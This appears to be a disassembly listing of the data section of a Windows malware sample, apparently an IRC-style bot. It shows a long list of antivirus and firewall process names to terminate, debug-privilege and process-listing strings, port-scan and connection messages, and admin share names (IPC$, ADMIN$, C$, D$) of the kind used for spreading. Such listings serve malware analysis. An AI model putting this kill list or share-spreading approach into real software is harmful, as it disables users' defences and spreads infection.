; DATA XREF: .data:00431BBCo align 4 aMsapp_exe db 'MSAPP.EXE',0 ; DATA XREF: .data:00431BB8o align 4 aMrflux_exe db 'MRFLUX.EXE',0 ; DATA XREF: .data:00431BB4o align 10h dd 0 aMpftray_exe db 'MPFTRAY.EXE',0 ; DATA XREF: .data:00431BB0o dd 0 aMpfservice_exe db 'MPFSERVICE.EXE',0 ; DATA XREF: .data:00431BACo align 8 aMpfagent_exe db 'MPFAGENT.EXE',0 ; DATA XREF: .data:00431BA8o align 4 aMostat_exe db 'MOSTAT.EXE',0 ; DATA XREF: .data:00431BA4o align 8 aMoolive_exe db 'MOOLIVE.EXE',0 ; DATA XREF: .data:00431BA0o align 8 aMonitor_exe db 'MONITOR.EXE',0 ; DATA XREF: .data:00431B9Co align 8 aMmod_exe db 'MMOD.EXE',0 ; DATA XREF: .data:00431B98o align 4 aMinilog_exe db 'MINILOG.EXE',0 ; DATA XREF: .data:00431B94o dd 0 aMgui_exe db 'MGUI.EXE',0 ; DATA XREF: .data:00431B90o align 10h aMghtml_exe db 'MGHTML.EXE',0 ; DATA XREF: .data:00431B8Co align 10h aMgavrte_exe db 'MGAVRTE.EXE',0 ; DATA XREF: .data:00431B88o align 10h aMgavrtcl_exe db 'MGAVRTCL.EXE',0 ; DATA XREF: .data:00431B84o align 10h aMfweng3_02d30_ db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .data:00431B80o align 8 aMfw2en_exe db 'MFW2EN.EXE',0 ; DATA XREF: .data:00431B7Co align 8 aMfin32_exe db 'MFIN32.EXE',0 ; DATA XREF: .data:00431B78o align 8 aMd_exe db 'MD.EXE',0 ; DATA XREF: .data:00431B74o align 10h aMcvsshld_exe db 'MCVSSHLD.EXE',0 ; DATA XREF: .data:00431B70o align 10h aMcvsrte_exe db 'MCVSRTE.EXE',0 ; DATA XREF: .data:00431B6Co align 10h aMcupdate_exe db 'MCUPDATE.EXE',0 ; DATA XREF: .data:00431B64o ; .data:00431B68o align 10h aMctool_exe db 'MCTOOL.EXE',0 ; DATA XREF: .data:00431B60o align 10h aMcshield_exe db 'MCSHIELD.EXE',0 ; DATA XREF: .data:00431B5Co align 10h aMcmnhdlr_exe db 'MCMNHDLR.EXE',0 ; DATA XREF: .data:00431B58o align 10h aMcagent_exe db 'MCAGENT.EXE',0 ; DATA XREF: .data:00431B54o align 10h aMapisvc32_exe db 'MAPISVC32.EXE',0 ; DATA XREF: .data:00431B50o align 10h aLuspt_exe db 'LUSPT.EXE',0 ; DATA XREF: .data:00431B4Co align 4 aLuinit_exe db 'LUINIT.EXE',0 ; DATA XREF: .data:00431B48o align 4 dd 0 aLucomserver_ex db 'LUCOMSERVER.EXE',0 ; DATA XREF: .data:00431B44o align 10h aLuau_exe db 'LUAU.EXE',0 ; DATA XREF: .data:00431B40o align 4 aLuall_exe db 'LUALL.EXE',0 ; DATA XREF: .data:00431B38o ; .data:00431B3Co align 4 aLsetup_exe db 'LSETUP.EXE',0 ; DATA XREF: .data:00431B34o align 8 aLordpe_exe db 'LORDPE.EXE',0 ; DATA XREF: .data:00431B30o align 8 aLookout_exe db 'LOOKOUT.EXE',0 ; DATA XREF: .data:00431B2Co align 8 aLockdown2000_e db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .data:00431B28o align 4 aLockdown_exe db 'LOCKDOWN.EXE',0 ; DATA XREF: .data:00431B24o align 4 aLocalnet_exe db 'LOCALNET.EXE',0 ; DATA XREF: .data:00431B20o align 4 aLoader_exe db 'LOADER.EXE',0 ; DATA XREF: .data:00431B1Co align 4 dd 0 aLnetinfo_exe db 'LNETINFO.EXE',0 ; DATA XREF: .data:00431B18o align 4 aLdscan_exe db 'LDSCAN.EXE',0 ; DATA XREF: .data:00431B14o align 4 dd 0 aLdpromenu_exe db 'LDPROMENU.EXE',0 ; DATA XREF: .data:00431B10o align 4 aLdpro_exe db 'LDPRO.EXE',0 ; DATA XREF: .data:00431B0Co align 4 aLdnetmon_exe db 'LDNETMON.EXE',0 ; DATA XREF: .data:00431B08o align 4 aLauncher_exe db 'LAUNCHER.EXE',0 ; DATA XREF: .data:00431B04o align 4 aKillprocessset db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .data:00431B00o dd 0 aKernel32_exe db 'KERNEL32.EXE',0 ; DATA XREF: .data:00431AFCo align 4 aKerioWrp421EnW db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .data:00431AF8o align 10h dd 0 aKerioWrl421EnW db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .data:00431AF4o align 10h dd 0 aKerioPf213EnWi db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .data:00431AF0o align 10h aKeenvalue_exe db 'KEENVALUE.EXE',0 ; DATA XREF: .data:00431AECo align 10h aKazza_exe db 'KAZZA.EXE',0 ; DATA XREF: .data:00431AE8o align 4 aKavpf_exe db 'KAVPF.EXE',0 ; DATA XREF: .data:00431AE4o align 4 aKavpers40eng_e db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .data:00431AE0o align 4 aKavlite40eng_e db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .data:00431ADCo align 10h aJedi_exe db 'JEDI.EXE',0 ; DATA XREF: .data:00431AD8o align 4 aJdbgmrg_exe db 'JDBGMRG.EXE',0 ; DATA XREF: .data:00431AD4o dd 0 aJammer_exe db 'JAMMER.EXE',0 ; DATA XREF: .data:00431AD0o align 4 dd 0 aIstsvc_exe db 'ISTSVC.EXE',0 ; DATA XREF: .data:00431ACCo align 4 dd 0 aIsrv95_exe db 'ISRV95.EXE',0 ; DATA XREF: .data:00431AC8o align 4 dd 0 aIsass_exe db 'ISASS.EXE',0 ; DATA XREF: .data:00431AC4o align 4 aIris_exe db 'IRIS.EXE',0 ; DATA XREF: .data:00431AC0o align 4 aIparmor_exe db 'IPARMOR.EXE',0 ; DATA XREF: .data:00431ABCo dd 0 aIomon98_exe db 'IOMON98.EXE',0 ; DATA XREF: .data:00431AB8o dd 0 aIntren_exe db 'INTREN.EXE',0 ; DATA XREF: .data:00431AB4o align 10h dd 0 aIntdel_exe db 'INTDEL.EXE',0 ; DATA XREF: .data:00431AB0o align 10h dd 0 aInit_exe db 'INIT.EXE',0 ; DATA XREF: .data:00431AACo align 10h aInfwin_exe db 'INFWIN.EXE',0 ; DATA XREF: .data:00431AA8o align 10h aInfus_exe db 'INFUS.EXE',0 ; DATA XREF: .data:00431AA4o align 4 aInetlnfo_exe db 'INETLNFO.EXE',0 ; DATA XREF: .data:00431AA0o align 4 aIfw2000_exe db 'IFW2000.EXE',0 ; DATA XREF: .data:00431A9Co dd 0 aIface_exe db 'IFACE.EXE',0 ; DATA XREF: .data:00431A98o align 4 aIexplorer_exe db 'IEXPLORER.EXE',0 ; DATA XREF: .data:00431A94o align 4 aIedriver_exe db 'IEDRIVER.EXE',0 ; DATA XREF: .data:00431A90o align 4 aIedll_exe db 'IEDLL.EXE',0 ; DATA XREF: .data:00431A8Co align 4 aIdle_exe db 'IDLE.EXE',0 ; DATA XREF: .data:00431A88o align 10h aIcsuppnt_exe db 'ICSUPPNT.EXE',0 ; DATA XREF: .data:00431A84o align 10h aIcsupp95_exe db 'ICSUPP95.EXE',0 ; DATA XREF: .data:00431A7Co ; .data:00431A80o align 10h aIcmon_exe db 'ICMON.EXE',0 ; DATA XREF: .data:00431A78o align 4 aIcloadnt_exe db 'ICLOADNT.EXE',0 ; DATA XREF: .data:00431A74o align 4 aIcload95_exe db 'ICLOAD95.EXE',0 ; DATA XREF: .data:00431A70o align 4 aIbmavsp_exe db 'IBMAVSP.EXE',0 ; DATA XREF: .data:00431A6Co dd 0 aIbmasn_exe db 'IBMASN.EXE',0 ; DATA XREF: .data:00431A68o align 4 dd 0 aIamstats_exe db 'IAMSTATS.EXE',0 ; DATA XREF: .data:00431A64o align 4 aIamserv_exe db 'IAMSERV.EXE',0 ; DATA XREF: .data:00431A60o dd 0 aIamapp_exe db 'IAMAPP.EXE',0 ; DATA XREF: .data:00431A5Co align 4 dd 0 aHxiul_exe db 'HXIUL.EXE',0 ; DATA XREF: .data:00431A58o align 4 aHxdl_exe db 'HXDL.EXE',0 ; DATA XREF: .data:00431A54o align 4 aHwpe_exe db 'HWPE.EXE',0 ; DATA XREF: .data:00431A50o align 10h aHtpatch_exe db 'HTPATCH.EXE',0 ; DATA XREF: .data:00431A4Co align 10h aHtlog_exe db 'HTLOG.EXE',0 ; DATA XREF: .data:00431A48o align 4 aHotpatch_exe db 'HOTPATCH.EXE',0 ; DATA XREF: .data:00431A44o align 4 aHotactio_exe db 'HOTACTIO.EXE',0 ; DATA XREF: .data:00431A40o align 4 aHbsrv_exe db 'HBSRV.EXE',0 ; DATA XREF: .data:00431A3Co align 4 aHbinst_exe db 'HBINST.EXE',0 ; DATA XREF: .data:00431A38o align 8 aHacktracersetu db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .data:00431A34o align 10h aGuarddog_exe db 'GUARDDOG.EXE',0 ; DATA XREF: .data:00431A30o align 10h aGuard_exe db 'GUARD.EXE',0 ; DATA XREF: .data:00431A2Co align 4 aGmt_exe db 'GMT.EXE',0 ; DATA XREF: .data:00431A28o align 8 aGenerics_exe db 'GENERICS.EXE',0 ; DATA XREF: .data:00431A24o align 4 aGbpoll_exe db 'GBPOLL.EXE',0 ; DATA XREF: .data:00431A20o align 8 aGbmenu_exe db 'GBMENU.EXE',0 ; DATA XREF: .data:00431A1Co align 8 aGator_exe db 'GATOR.EXE',0 ; DATA XREF: .data:00431A18o align 4 aFsmb32_exe db 'FSMB32.EXE',0 ; DATA XREF: .data:00431A14o align 10h dd 0 aFsma32_exe db 'FSMA32.EXE',0 ; DATA XREF: .data:00431A10o align 10h dd 0 aFsm32_exe db 'FSM32.EXE',0 ; DATA XREF: .data:00431A0Co align 10h aFsgk32_exe db 'FSGK32.EXE',0 ; DATA XREF: .data:00431A08o align 10h aFsav95_exe db 'FSAV95.EXE',0 ; DATA XREF: .data:00431A04o align 10h aFsav530wtbyb_e db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .data:00431A00o align 4 aFsav530stbyb_e db 'FSAV530STBYB.EXE',0 ; DATA XREF: .data:004319FCo align 4 aFsav32_exe db 'FSAV32.EXE',0 ; DATA XREF: .data:004319F8o align 8 aFsav_exe db 'FSAV.EXE',0 ; DATA XREF: .data:004319F4o align 4 aFsaa_exe db 'FSAA.EXE',0 ; DATA XREF: .data:004319F0o align 10h aFrw_exe db 'FRW.EXE',0 ; DATA XREF: .data:004319ECo dd 0 aFprot_exe db 'FPROT.EXE',0 ; DATA XREF: .data:004319E8o align 4 aFpWin_trial_ex db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .data:004319E4o align 4 aFpWin_exe db 'FP-WIN.EXE',0 ; DATA XREF: .data:004319E0o align 4 dd 0 aFnrb32_exe db 'FNRB32.EXE',0 ; DATA XREF: .data:004319DCo align 4 dd 0 aFlowprotector_ db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .data:004319D8o align 10h dd 0 aFirewall_exe db 'FIREWALL.EXE',0 ; DATA XREF: .data:004319D4o align 4 aFindviru_exe db 'FINDVIRU.EXE',0 ; DATA XREF: .data:004319D0o align 4 aFih32_exe db 'FIH32.EXE',0 ; DATA XREF: .data:004319CCo align 10h aFch32_exe db 'FCH32.EXE',0 ; DATA XREF: .data:004319C8o align 4 aFast_exe db 'FAST.EXE',0 ; DATA XREF: .data:004319C4o align 4 aFameh32_exe db 'FAMEH32.EXE',0 ; DATA XREF: .data:004319C0o align 8 aFStopw_exe db 'F-STOPW.EXE',0 ; DATA XREF: .data:004319BCo align 8 aFProt95_exe db 'F-PROT95.EXE',0 ; DATA XREF: .data:004319B8o align 4 aFProt_exe db 'F-PROT.EXE',0 ; DATA XREF: .data:004319B4o align 8 aFAgnt95_exe db 'F-AGNT95.EXE',0 ; DATA XREF: .data:004319B0o align 4 aExplore_exe db 'EXPLORE.EXE',0 ; DATA XREF: .data:004319ACo align 8 aExpert_exe db 'EXPERT.EXE',0 ; DATA XREF: .data:004319A8o align 8 aExe_avxw_exe db 'EXE.AVXW.EXE',0 ; DATA XREF: .data:004319A4o align 4 aExantivirusCne db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .data:004319A0o align 10h dd 0 aEvpn_exe db 'EVPN.EXE',0 ; DATA XREF: .data:0043199Co align 10h aEtrustcipe_exe db 'ETRUSTCIPE.EXE',0 ; DATA XREF: .data:00431998o align 10h dd 0 aEthereal_exe db 'ETHEREAL.EXE',0 ; DATA XREF: .data:00431994o align 4 aEspwatch_exe db 'ESPWATCH.EXE',0 ; DATA XREF: .data:00431990o align 4 aEscanv95_exe db 'ESCANV95.EXE',0 ; DATA XREF: .data:0043198Co align 4 aEscanhnt_exe db 'ESCANHNT.EXE',0 ; DATA XREF: .data:00431988o align 4 aEscanh95_exe db 'ESCANH95.EXE',0 ; DATA XREF: .data:00431984o align 4 aEsafe_exe db 'ESAFE.EXE',0 ; DATA XREF: .data:00431980o align 10h aEnt_exe db 'ENT.EXE',0 ; DATA XREF: .data:0043197Co dd 0 aEmsw_exe db 'EMSW.EXE',0 ; DATA XREF: .data:00431978o align 4 aEfpeadm_exe db 'EFPEADM.EXE',0 ; DATA XREF: .data:00431974o align 8 aEcengine_exe db 'ECENGINE.EXE',0 ; DATA XREF: .data:00431970o align 4 aDvp95_0_exe db 'DVP95_0.EXE',0 ; DATA XREF: .data:0043196Co align 8 aDvp95_exe db 'DVP95.EXE',0 ; DATA XREF: .data:00431968o align 4 aDssagent_exe db 'DSSAGENT.EXE',0 ; DATA XREF: .data:00431964o align 4 aDrwebupw_exe db 'DRWEBUPW.EXE',0 ; DATA XREF: .data:00431960o align 4 aDrweb32_exe db 'DRWEB32.EXE',0 ; DATA XREF: .data:0043195Co dd 0 aDrwatson_exe db 'DRWATSON.EXE',0 ; DATA XREF: .data:00431958o align 4 aDpps2_exe db 'DPPS2.EXE',0 ; DATA XREF: .data:00431954o align 10h aDpfsetup_exe db 'DPFSETUP.EXE',0 ; DATA XREF: .data:00431950o align 10h aDpf_exe db 'DPF.EXE',0 ; DATA XREF: .data:0043194Co dd 0 aDoors_exe db 'DOORS.EXE',0 ; DATA XREF: .data:00431948o align 4 aDllreg_exe db 'DLLREG.EXE',0 ; DATA XREF: .data:00431944o align 8 aDllcache_exe db 'DLLCACHE.EXE',0 ; DATA XREF: .data:00431940o align 4 aDivx_exe db 'DIVX.EXE',0 ; DATA XREF: .data:0043193Co align 4 aDeputy_exe db 'DEPUTY.EXE',0 ; DATA XREF: .data:00431938o align 10h dd 0 aDefwatch_exe db 'DEFWATCH.EXE',0 ; DATA XREF: .data:00431934o align 4 aDefscangui_exe db 'DEFSCANGUI.EXE',0 ; DATA XREF: .data:00431930o align 8 aDefalert_exe db 'DEFALERT.EXE',0 ; DATA XREF: .data:0043192Co align 4 aDcomx_exe db 'DCOMX.EXE',0 ; DATA XREF: .data:00431928o align 4 aDatemanager_ex db 'DATEMANAGER.EXE',0 ; DATA XREF: .data:00431924o align 8 aClaw95_exe db 'Claw95.EXE',0 ; DATA XREF: .data:0043191Co align 8 aCwntdwmo_exe db 'CWNTDWMO.EXE',0 ; DATA XREF: .data:00431918o align 4 aCwnb181_exe db 'CWNB181.EXE',0 ; DATA XREF: .data:00431914o align 8 aCv_exe db 'CV.EXE',0 ; DATA XREF: .data:00431910o align 10h aCtrl_exe db 'CTRL.EXE',0 ; DATA XREF: .data:0043190Co align 4 aCpfnt206_exe db 'CPFNT206.EXE',0 ; DATA XREF: .data:00431908o align 4 aCpf9x206_exe db 'CPF9X206.EXE',0 ; DATA XREF: .data:00431904o align 4 aCpd_exe db 'CPD.EXE',0 ; DATA XREF: .data:00431900o align 8 aConnectionmoni db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .data:004318FCo align 10h dd 0 aCmon016_exe db 'CMON016.EXE',0 ; DATA XREF: .data:004318F8o dd 0 aCmgrdian_exe db 'CMGRDIAN.EXE',0 ; DATA XREF: .data:004318F4o align 4 aCmesys_exe db 'CMESYS.EXE',0 ; DATA XREF: .data:004318F0o align 10h dd 0 aCmd32_exe db 'CMD32.EXE',0 ; DATA XREF: .data:004318ECo align 10h aClick_exe db 'CLICK.EXE',0 ; DATA XREF: .data:004318E8o align 4 aCleanpc_exe db 'CLEANPC.EXE',0 ; DATA XREF: .data:004318E4o dd 0 aCleaner3_exe db 'CLEANER3.EXE',0 ; DATA XREF: .data:004318E0o align 4 aCleaner_exe db 'CLEANER.EXE',0 ; DATA XREF: .data:004318DCo dd 0 aClean_exe db 'CLEAN.EXE',0 ; DATA XREF: .data:004318D8o align 4 aClaw95cf_exe db 'CLAW95CF.EXE',0 ; DATA XREF: .data:004318D4o ; .data:00431920o align 4 aCfinet32_exe db 'CFINET32.EXE',0 ; DATA XREF: .data:004318D0o align 4 aCfinet_exe db 'CFINET.EXE',0 ; DATA XREF: .data:004318CCo align 8 aCfiaudit_exe db 'CFIAUDIT.EXE',0 ; DATA XREF: .data:004318C4o ; .data:004318C8o align 4 aCfiadmin_exe db 'CFIADMIN.EXE',0 ; DATA XREF: .data:004318C0o align 4 aCfgwiz_exe db 'CFGWIZ.EXE',0 ; DATA XREF: .data:004318BCo align 8 aCfd_exe db 'CFD.EXE',0 ; DATA XREF: .data:004318B8o dd 0 aCdp_exe db 'CDP.EXE',0 ; DATA XREF: .data:004318B4o align 10h aCcpxysvc_exe db 'CCPXYSVC.EXE',0 ; DATA XREF: .data:004318B0o align 10h aCcevtmgr_exe db 'CCEVTMGR.EXE',0 ; DATA XREF: .data:004318ACo align 10h aCcapp_exe db 'CCAPP.EXE',0 ; DATA XREF: .data:004318A8o align 4 aBvt_exe db 'BVT.EXE',0 ; DATA XREF: .data:004318A4o align 8 aBundle_exe db 'BUNDLE.EXE',0 ; DATA XREF: .data:004318A0o align 8 aBs120_exe db 'BS120.EXE',0 ; DATA XREF: .data:0043189Co align 4 aBrasil_exe db 'BRASIL.EXE',0 ; DATA XREF: .data:00431898o align 10h dd 0 aBpc_exe db 'BPC.EXE',0 ; DATA XREF: .data:00431894o align 10h aBorg2_exe db 'BORG2.EXE',0 ; DATA XREF: .data:00431890o align 4 aBootwarn_exe db 'BOOTWARN.EXE',0 ; DATA XREF: .data:0043188Co align 4 aBootconf_exe db 'BOOTCONF.EXE',0 ; DATA XREF: .data:00431888o align 4 aBlss_exe db 'BLSS.EXE',0 ; DATA XREF: .data:00431884o align 4 aBlackice_exe db 'BLACKICE.EXE',0 ; DATA XREF: .data:00431880o align 4 aBlackd_exe db 'BLACKD.EXE',0 ; DATA XREF: .data:0043187Co align 8 aBisp_exe db 'BISP.EXE',0 ; DATA XREF: .data:00431878o align 4 aBipcpevalsetup db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .data:00431874o align 4 dd 0 aBipcp_exe db 'BIPCP.EXE',0 ; DATA XREF: .data:00431870o align 4 aBidserver_exe db 'BIDSERVER.EXE',0 ; DATA XREF: .data:0043186Co align 4 aBidef_exe db 'BIDEF.EXE',0 ; DATA XREF: .data:00431868o align 4 aBelt_exe db 'BELT.EXE',0 ; DATA XREF: .data:00431864o align 10h aBeagle_exe db 'BEAGLE.EXE',0 ; DATA XREF: .data:00431860o align 10h aBd_professiona db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .data:0043185Co align 8 aBargains_exe db 'BARGAINS.EXE',0 ; DATA XREF: .data:00431858o align 4 aBackweb_exe db 'BACKWEB.EXE',0 ; DATA XREF: .data:00431854o align 8 aAvxquar_exe db 'AVXQUAR.EXE',0 ; DATA XREF: .data:0043184Co ; .data:00431850o align 8 aAvxmonitornt_e db 'AVXMONITORNT.EXE',0 ; DATA XREF: .data:00431848o align 4 aAvxmonitor9x_e db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .data:00431844o align 10h aAvwupsrv_exe db 'AVWUPSRV.EXE',0 ; DATA XREF: .data:00431840o align 10h aAvwupd32_exe db 'AVWUPD32.EXE',0 ; DATA XREF: .data:00431838o ; .data:0043183Co align 10h aAvwupd_exe db 'AVWUPD.EXE',0 ; DATA XREF: .data:00431834o align 10h aAvwinnt_exe db 'AVWINNT.EXE',0 ; DATA XREF: .data:00431830o align 10h aAvwin95_exe db 'AVWIN95.EXE',0 ; DATA XREF: .data:0043182Co align 10h aAvsynmgr_exe db 'AVSYNMGR.EXE',0 ; DATA XREF: .data:00431828o align 10h aAvsched32_exe db 'AVSCHED32.EXE',0 ; DATA XREF: .data:00431824o align 10h aAvpupd_exe db 'AVPUPD.EXE',0 ; DATA XREF: .data:0043181Co ; .data:00431820o align 10h aAvptc32_exe db 'AVPTC32.EXE',0 ; DATA XREF: .data:00431818o align 10h aAvpm_exe db 'AVPM.EXE',0 ; DATA XREF: .data:00431814o align 4 aAvpdos32_exe db 'AVPDOS32.EXE',0 ; DATA XREF: .data:00431810o align 4 aAvpcc_exe db 'AVPCC.EXE',0 ; DATA XREF: .data:0043180Co align 4 aAvp32_exe db 'AVP32.EXE',0 ; DATA XREF: .data:00431808o align 4 aAvp_exe db 'AVP.EXE',0 ; DATA XREF: .data:00431804o align 10h aAvnt_exe db 'AVNT.EXE',0 ; DATA XREF: .data:00431800o align 4 aAvltmain_exe db 'AVLTMAIN.EXE',0 ; DATA XREF: .data:004317FCo align 4 aAvkwctl9_exe db 'AVKWCTl9.EXE',0 ; DATA XREF: .data:004317F8o align 4 aAvkservice_exe db 'AVKSERVICE.EXE',0 ; DATA XREF: .data:004317F4o align 10h aAvkserv_exe db 'AVKSERV.EXE',0 ; DATA XREF: .data:004317F0o align 10h aAvkpop_exe db 'AVKPOP.EXE',0 ; DATA XREF: .data:004317ECo align 10h aAvgw_exe db 'AVGW.EXE',0 ; DATA XREF: .data:004317E8o align 4 aAvguard_exe db 'AVGUARD.EXE',0 ; DATA XREF: .data:004317E4o dd 0 aAvgserv9_exe db 'AVGSERV9.EXE',0 ; DATA XREF: .data:004317E0o align 4 aAvgserv_exe db 'AVGSERV.EXE',0 ; DATA XREF: .data:004317DCo dd 0 aAvgnt_exe db 'AVGNT.EXE',0 ; DATA XREF: .data:004317D8o align 4 aAvgctrl_exe db 'AVGCTRL.EXE',0 ; DATA XREF: .data:004317D4o align 8 aAvgcc32_exe db 'AVGCC32.EXE',0 ; DATA XREF: .data:004317D0o align 8 aAve32_exe db 'AVE32.EXE',0 ; DATA XREF: .data:004317CCo align 4 aAvconsol_exe db 'AVCONSOL.EXE',0 ; DATA XREF: .data:004317C8o align 4 aAutoupdate_exe db 'AUTOUPDATE.EXE',0 ; DATA XREF: .data:004317C0o ; .data:004317C4o align 8 aAutotrace_exe db 'AUTOTRACE.EXE',0 ; DATA XREF: .data:004317B8o ; .data:004317BCo align 4 aAutodown_exe db 'AUTODOWN.EXE',0 ; DATA XREF: .data:004317B0o ; .data:004317B4o align 4 aAupdate_exe db 'AUPDATE.EXE',0 ; DATA XREF: .data:004317A8o ; .data:004317ACo align 8 aAu_exe db 'AU.EXE',0 ; DATA XREF: .data:004317A4o align 10h aAtwatch_exe db 'ATWATCH.EXE',0 ; DATA XREF: .data:004317A0o align 10h aAtupdater_exe db 'ATUPDATER.EXE',0 ; DATA XREF: .data:00431798o ; .data:0043179Co align 10h aAtro55en_exe db 'ATRO55EN.EXE',0 ; DATA XREF: .data:00431794o align 10h aAtguard_exe db 'ATGUARD.EXE',0 ; DATA XREF: .data:00431790o align 10h aAtcon_exe db 'ATCON.EXE',0 ; DATA XREF: .data:0043178Co align 4 aArr_exe db 'ARR.EXE',0 ; DATA XREF: .data:00431788o align 8 aApvxdwin_exe db 'APVXDWIN.EXE',0 ; DATA XREF: .data:00431784o align 4 aAplica32_exe db 'APLICA32.EXE',0 ; DATA XREF: .data:00431780o align 4 aApimonitor_exe db 'APIMONITOR.EXE',0 ; DATA XREF: .data:0043177Co align 4 dd 0 aAnts_exe db 'ANTS.EXE',0 ; DATA XREF: .data:00431778o align 4 aAntivirus_exe db 'ANTIVIRUS.EXE',0 ; DATA XREF: .data:00431774o align 4 aAntiTrojan_exe db 'ANTI-TROJAN.EXE',0 ; DATA XREF: .data:00431770o dd 0 aAmon9x_exe db 'AMON9X.EXE',0 ; DATA XREF: .data:0043176Co align 4 dd 0 aAlogserv_exe db 'ALOGSERV.EXE',0 ; DATA XREF: .data:00431768o align 4 aAlevir_exe db 'ALEVIR.EXE',0 ; DATA XREF: .data:00431764o align 4 dd 0 aAlertsvc_exe db 'ALERTSVC.EXE',0 ; DATA XREF: .data:00431760o align 4 aAgentw_exe db 'AGENTW.EXE',0 ; DATA XREF: .data:0043175Co align 4 dd 0 aAgentsvr_exe db 'AGENTSVR.EXE',0 ; DATA XREF: .data:00431758o align 4 aAdvxdwin_exe db 'ADVXDWIN.EXE',0 ; DATA XREF: .data:00431754o align 4 aAdaware_exe db 'ADAWARE.EXE',0 ; DATA XREF: .data:00431750o dd 0 aAckwin32_exe db 'ACKWIN32.EXE',0 ; DATA XREF: .data:off_43174Co align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_411876+191o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_411876+5Ao ; sub_411876+1F3o align 4 dword_4348BC dd 20025B02h, 7270202Dh, 1F631F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: .text:loc_411BB7o aProcessListFai db ' Process list failed.',0 align 10h dword_4348F0 dd 20025B02h, 7270202Dh, 1F631F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: .text:00411BB0o aProcessListCom db ' Process list completed.',0 align 10h dd 2 dup(0) dword_434928 dd 20025B02h, 7270202Dh, 1F631F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: .text:00411B49o aListingProcess db ' Listing processes:',0 align 4 dd 2 dup(0) dword_43495C dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h ; DATA XREF: .text:00411E53o dd 0BB20025Dh aFailedToSta_14 db ' Failed to start client thread, error: <%d>.',0 align 10h dword_4349B0 dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h ; DATA XREF: .text:00411DDEo dd 0BB20025Dh aClientConnec_0 db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 10h dd 4 dup(0) dword_434A10 dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h ; DATA XREF: .text:00412091o dd 0BB20025Dh aFailedToSta_15 db ' Failed to start connection thread, error: <%d>.',0 align 4 dd 3 dup(0) dword_434A68 dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h ; DATA XREF: .text:00411FC8o dd 0BB20025Dh, 6C432020h, 746E6569h, 6E6F6320h, 7463656Eh dd 206E6F69h, 49206F74h, 25203A50h, 64253A73h, 6553202Ch dd 72657672h, 72687420h, 3A646165h, 2E642520h, 5 dup(0) aConst db 'const',0 align 10h dd 0 dword_434AD4 dd 1 ; DATA XREF: sub_41264E+7o off_434AD8 dd offset sub_401046 ; DATA XREF: sub_41264E+49r aLetter db 'letter',0 align 8 dd 2, 4011E0h, 706D6F63h, 2 dup(0) dd 3, 401069h, 6E756F63h, 797274h, 0 dd 4, 40128Fh, 736Fh, 2 dup(0) dd 5, 40103Ch, 3 dup(0) dword_434B38 dd 2 dup(0) ; DATA XREF: sub_41264E+39o aSI db '%s%i',0 ; DATA XREF: sub_41220B+40o ; .text:0041235Fo ... align 4 byte_434B48 db 50h ; DATA XREF: .text:00412302o ; .text:0041230Fr db 43h, 2 dup(0) aEmr3S db 'emr3-[%s]-',0 ; DATA XREF: .text:004123D4o align 4 dd 0 aS_4 db '[%s]|',0 ; DATA XREF: .text:004124FBo align 4 a??? db '???',0 ; DATA XREF: .text:loc_4124F2o ; sub_414190:loc_414253o a2k3 db '2K3',0 ; DATA XREF: .text:004124EBo aXp db 'XP',0 ; DATA XREF: .text:004124DDo ; sub_414190+AAo align 10h a2k db '2K',0 ; DATA XREF: .text:004124CDo ; sub_414190+98o align 4 aMe_0 db 'ME',0 ; DATA XREF: .text:004124B4o ; sub_414190+7Eo align 4 a98 db '98',0 ; DATA XREF: .text:004124A4o ; sub_414190+6Co align 4 aNt db 'NT',0 ; DATA XREF: .text:00412494o ; sub_414190+5Ao align 10h a95 db '95',0 ; DATA XREF: .text:00412486o ; sub_414190+46o align 4 aDS db '[%d]%s',0 ; DATA XREF: sub_412583+3Ao align 4 aM db '[M]',0 ; DATA XREF: sub_412583+2Co ; sub_412583+57o dword_434B90 dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4126D1+92o aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 align 10h dd 2 dup(0) dword_434BC8 dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4127D1+41o aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 4 dd 3 dup(0) dword_434C08 dd 1D4C0h ; DATA XREF: sub_41313F+10r align 10h off_434C10 dd offset aIpc ; DATA XREF: sub_412976+1B3o ; sub_412D63+17Ao ; "IPC$" align 8 dd offset aAdmin_4 ; "ADMIN$" align 10h off_434C20 dd offset dword_434C44 ; DATA XREF: sub_412D63+1E3o dd offset dword_434C40 dd offset dword_434C3C dd offset dword_434C38 dword_434C30 dd 2 dup(0) ; DATA XREF: sub_412976+217o dword_434C38 dd 5C3A44h ; DATA XREF: .data:00434C2Co dword_434C3C dd 2444h ; DATA XREF: .data:00434C28o dword_434C40 dd 5C3A43h ; DATA XREF: .data:00434C24o dword_434C44 dd 2443h ; DATA XREF: .data:off_434C20o aAdmin_4 db 'ADMIN$',0 ; DATA 